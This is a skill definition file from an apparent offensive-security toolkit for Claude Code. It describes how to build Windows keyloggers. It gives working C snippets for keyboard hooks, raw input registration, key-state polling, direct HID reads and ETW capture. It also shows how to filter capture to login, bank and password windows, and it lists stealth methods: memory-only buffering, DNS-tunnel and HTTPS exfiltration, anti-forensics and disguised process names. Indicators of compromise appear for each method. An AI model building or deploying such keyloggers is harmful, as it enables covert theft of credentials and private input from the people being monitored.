Keylogger arch
Offensive security toolkit for Claude Code covering red team, exploit dev, AD attacks, EDR bypass, mobile pentest
npx -y skills add hypnguyen1209/offensive-claude --skill keylogger-archAssembled from the repository path, not quoted from the project. Check it against their README if it does not work.
SKILL.md
6.4 KB, as published. Nobody here has run it
name: keylogger-architecture description: Use when designing or analyzing keystroke/input capture — SetWindowsHookEx, raw input devices, ETW-based capture, kernel drivers, stealth techniques and their IOCs metadata: type: offensive phase: research kill_chain: phase: [install, actions] step: [5, 7] attck_tactics: [TA0003, TA0009] depends_on: [privesc-windows, edr-evasion] feeds_into: [red-team-ops] inputs: [target_os, edr_product] outputs: [keylogger_binary, captured_input]
Keylogger Architecture
When to Activate
- Understanding input capture mechanisms for red team implants
- Analyzing malware keylogging capabilities
- EDR evasion research for input monitoring
- Designing stealthy credential capture
Method 1: SetWindowsHookEx (WH_KEYBOARD_LL)
How It Works
// Install global low-level keyboard hook
HHOOK hHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, hInstance, 0);
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode == HC_ACTION) {
KBDLLHOOKSTRUCT *kb = (KBDLLHOOKSTRUCT*)lParam;
if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {
LogKey(kb->vkCode);
}
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
// MUST pump messages — hook won't fire without message loop
MSG msg;
while (GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
Internal Mechanism
SetWindowsHookEx→NtUserSetWindowsHookExin win32k.sys- Kernel creates HOOK structure, inserts at head of global hook chain
- Low-level hooks (WH_KEYBOARD_LL): NO DLL injection — events delivered via internal message to installing process
- Regular hooks (WH_KEYBOARD): DLL injected into every target process via APC
IOCs
- Hook entry visible in
!hookWinDbg command - Installing thread must pump messages (detectable by message queue footprint)
- If regular hook: mapped DLL in every hooked process (VAD artifact)
- EDR can hook
user32!SetWindowsHookExto detect installation
Method 2: RegisterRawInputDevices
How It Works
// Register for raw keyboard input — no hook chain, no DLL injection
RAWINPUTDEVICE rid;
rid.usUsagePage = 0x01; // Generic Desktop
rid.usUsage = 0x06; // Keyboard
rid.dwFlags = RIDEV_INPUTSINK; // Receive input even when not foreground
rid.hwndTarget = hWnd; // Message-only window
RegisterRawInputDevices(&rid, 1, sizeof(rid));
// In window procedure:
case WM_INPUT: {
RAWINPUT raw;
UINT size = sizeof(raw);
GetRawInputData((HRAWINPUT)lParam, RID_INPUT, &raw, &size, sizeof(RAWINPUTHEADER));
if (raw.header.dwType == RIM_TYPEKEYBOARD) {
LogKey(raw.data.keyboard.VKey);
}
}
Advantages Over Hooks
- Does NOT appear in
!hooklist - No cross-process DLL mapping
- Invisible to most EDR "hook chain" sensors
- No
CallNextHookExchain dependency
IOCs
- ETW event from kernel (win32kfull.sys):
EtwTraceAuditApiRegisterRawInputDevices- Contains PID, TID, UsagePage, Usage, Flags
- Channel is ON by default, CANNOT be disabled without kernel patch
- This is the strongest IOC — do not discount it
- Process must have window station and desktop
- Process must pump messages continuously
Method 3: GetAsyncKeyState Polling
// Simple but CPU-intensive — polls every key state
while (true) {
for (int key = 0; key < 256; key++) {
if (GetAsyncKeyState(key) & 0x0001) { // Key was pressed since last check
LogKey(key);
}
}
Sleep(10); // Reduce CPU usage
}
IOCs
- High CPU usage from polling loop
- Detectable by API call frequency monitoring
- No kernel-level artifacts
- Least stealthy but simplest to implement
Method 4: DirectInput / Raw HID Device
// Open keyboard device directly (requires admin)
HANDLE hKeyboard = CreateFile(L"\\\\?\\HID#VID_xxxx&PID_xxxx",
GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL);
// Read HID reports directly — bypasses win32k entirely
ReadFile(hKeyboard, buffer, sizeof(buffer), &bytesRead, &overlapped);
// Parse HID keyboard report (8 bytes: modifier + reserved + 6 keycodes)
IOCs
- Requires admin/SYSTEM privileges
- Creates IRP_MJ_READ telemetry on keyboard device
- Bypasses all userland monitoring
- Detectable by kernel-mode ETW or minifilter
Method 5: ETW-Based Capture (Defensive Turned Offensive)
// Subscribe to Microsoft-Windows-USB-UCX or HID ETW providers
// Capture raw USB HID events including keystrokes
// Requires admin but leaves minimal footprint
// Provider: Microsoft-Windows-USB-USBHUB3
// Events contain raw USB transfer data including HID reports
Window Title Capture (Context Filtering)
GetWindowTextA / GetForegroundWindow
// Capture which application receives keystrokes
HWND fg = GetForegroundWindow();
char title[256];
GetWindowTextA(fg, title, sizeof(title));
// Filter: only log when title contains "login", "bank", "password"
Stealthier: NtUserInternalGetWindowText
// Lower-level, less hooked by EDRs
// Defined in win32u.dll, syscall into win32kfull.sys
typedef BOOL (WINAPI *pNtUserInternalGetWindowText)(HWND, LPWSTR, INT);
pNtUserInternalGetWindowText fn = GetProcAddress(GetModuleHandleA("win32u.dll"), "NtUserInternalGetWindowText");
WCHAR title[256];
fn(hWnd, title, 256);
Stealth Techniques
Memory-Only Operation
- Never write keystrokes to disk
- Buffer in encrypted memory, exfiltrate periodically
- Use sleep masking to encrypt buffer during idle
Exfiltration Methods
- DNS tunneling (encode keystrokes in subdomain queries)
- HTTPS POST to legitimate-looking endpoint
- Append to legitimate application traffic (piggyback)
- Store in registry/ADS, retrieve separately
Anti-Forensics
- Encrypt keystroke buffer with session key
- Overwrite buffer after exfiltration
- No persistent artifacts on disk
- Blend process name with legitimate software
Detection Comparison
| Method | Stealth | Privileges | Primary IOC |
|---|---|---|---|
| SetWindowsHookEx (LL) | Low | User | Hook chain, message pump |
| SetWindowsHookEx (regular) | Very Low | User | DLL in every process |
| RegisterRawInputDevices | Medium | User | ETW kernel event |
| GetAsyncKeyState | Low | User | CPU usage, API frequency |
| Direct HID device | High | Admin | IRP telemetry |
| ETW-based | High | Admin | Provider subscription |
| Kernel driver | Very High | Admin/SYSTEM | Driver load event |